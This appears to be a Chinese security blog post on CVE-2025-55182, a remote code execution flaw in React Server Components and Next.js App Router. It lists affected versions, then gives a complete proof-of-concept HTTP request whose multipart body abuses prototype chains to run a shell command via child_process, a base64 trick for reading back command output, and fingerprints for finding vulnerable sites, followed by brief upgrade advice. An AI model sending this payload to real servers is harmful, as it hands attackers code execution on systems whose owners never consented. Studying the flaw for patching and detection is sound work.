CVE-2025-55182-Next.js无条件RCE


0x01 概述

CVE 编号CVE-2025-55182
漏洞类型:远程代码执行(RCE)
受影响组件
react-server-dom-webpack(React Server Components 核心依赖库),及使用该库且启用App Router模式的框架(如Next.js)
影响版本

  • react-server-dom-webpack19.0.019.1.019.1.119.2.0
  • Next.js:15.x全系列版本、16.x全系列版本、14.3.0-canary.77及后续测试版本
    触发条件:必须同时启用React Server Components和App Router模式,Pages Router模式下不受该漏洞影响

0x02 POC

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 12345678
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarya1b2c3d4e5f6
X-Nextjs-Html-Request-Id: abcdefg1234567
Content-Length: 580

------WebKitFormBoundarya1b2c3d4e5f6
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundarya1b2c3d4e5f6
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundarya1b2c3d4e5f6
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundarya1b2c3d4e5f6--

长命令回显方法
针对无法直接查看回显的场景,可将命令结果进行base64编码后获取,示例如下:

ls / -alhSt / | base64 -w 0

0x03 指纹

可通过以下特征快速识别目标是否为受影响的Next.js应用:

  1. app="Next.js" 且 响应体包含"/_next/static/chunks/app/"
  2. 响应体包含"react.production.min.js" 或 "React.createElement("
  3. 应用标识为app="React.js" 或 app="Dify"(部分基于Next.js开发的应用)

0x04 修复建议

官方已发布安全版本修复该漏洞,建议根据当前Next.js版本执行对应升级操作:

  1. 15.0.x 系列 → 升级至 15.0.5
  2. 15.1.x 系列 → 升级至 15.1.9
  3. 15.2.x 系列 → 升级至 15.2.6
  4. 15.3.x 系列 → 升级至 15.3.6
  5. 15.4.x 系列 → 升级至 15.4.8
  6. 15.5.x 系列 → 升级至 15.5.7
  7. 16.0.x 系列 → 升级至 16.0.7

若当前使用14.3.0-canary.77或更高版本的测试分支,建议直接降级至14.x稳定版本,彻底规避漏洞风险

声明:Jack≠Hijack|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - CVE-2025-55182-Next.js无条件RCE


先干再说,弄毁了推倒重做!